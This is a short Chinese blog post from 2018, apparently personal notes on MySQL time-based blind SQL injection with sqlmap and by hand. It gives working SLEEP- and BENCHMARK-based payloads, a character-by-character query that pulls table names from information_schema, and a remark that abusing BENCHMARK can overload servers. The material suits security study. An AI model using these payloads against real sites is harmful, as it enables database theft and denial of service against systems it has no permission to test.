MySQL盲注-时间延迟

sqlmap支持使用–Techniques “T”指定时间延迟注入,节省sqlmap使用其他注入测试时间,

然后就是伪静态指定位置注入,在注入参数中加*(不能去掉参数值),如果有token的情况,

在sqlmap中有个conf配置文件,可以配置url,没使用过,不知道是否可以绕过token,如果遇到可识别的图形验证码,就只能自己写脚本手工注入了。

首先mysql延迟注入支持两个函数,一个是benchmark函数,(有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式, 返回的结果始终是0)

比如: select BENCHMARK(10000000,md5(1));

这种方式是执行了10000000次md5(1)操作,这种方式判断是否延迟消耗CPU,

这个函数的最初设计是为了测试mysql的性能的,如果做破坏的话,把第一个参数加到最大,

多线程发送请求,会造成cc攻击,导致服务器负荷过高、一般都不用这个函数,

用sleep(2)睡眠函数,判断延迟时间准确,而且不会影响系统性能。

基础函数整理如下:

#编码时间延迟注入
if(now()=sysdate()%2csleep(2)%2c0)

#解码后的样子
if(now()=sysdate(),sleep(2),0)

#延迟函数
sleep(2)//秒

#条件语句,条件如果是执行第二个参数,否执行第三个参数
if(condition,true,false)

#转换成ascii码函数
ascii()

#取字符串长度
substring(“string”,strart,length)
或者用mid(),取出字符串里的第几位开始,长度多少的字符

当ascii码正确时,产生延时,否则不延时if(ascii(subtring(“hello”,1,1))=104,sleep(2),1) #取得hello的第一个字符h,转化为ascii码,与104对比,如果相等则执行sleep(2),否则执行1,在sqlmap中,如果标签缀被跑出了,下次的时候sqlmap会优先判断表前缀,从而提高了注入速度。

如果自己写脚本的话,if(ascii(“h”)=104,sleep(2),1),通过ascii码把a-zA-Z0-9都遍历一遍,即可取出对应的结果了。

在sqlmap中把这个表达式拆分了噢、用16进制方式做的对比,预计是可以加快速度的,不过猜测会消耗主机资源。

##查表名,查字段,内容以此类推
if(ascii(substring((SELECT distinct concat(表名) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(2),1);

标签:   |  
时间: 2018年03月20日上午2:18  |  
作者:
LEAVE A REPLY

loading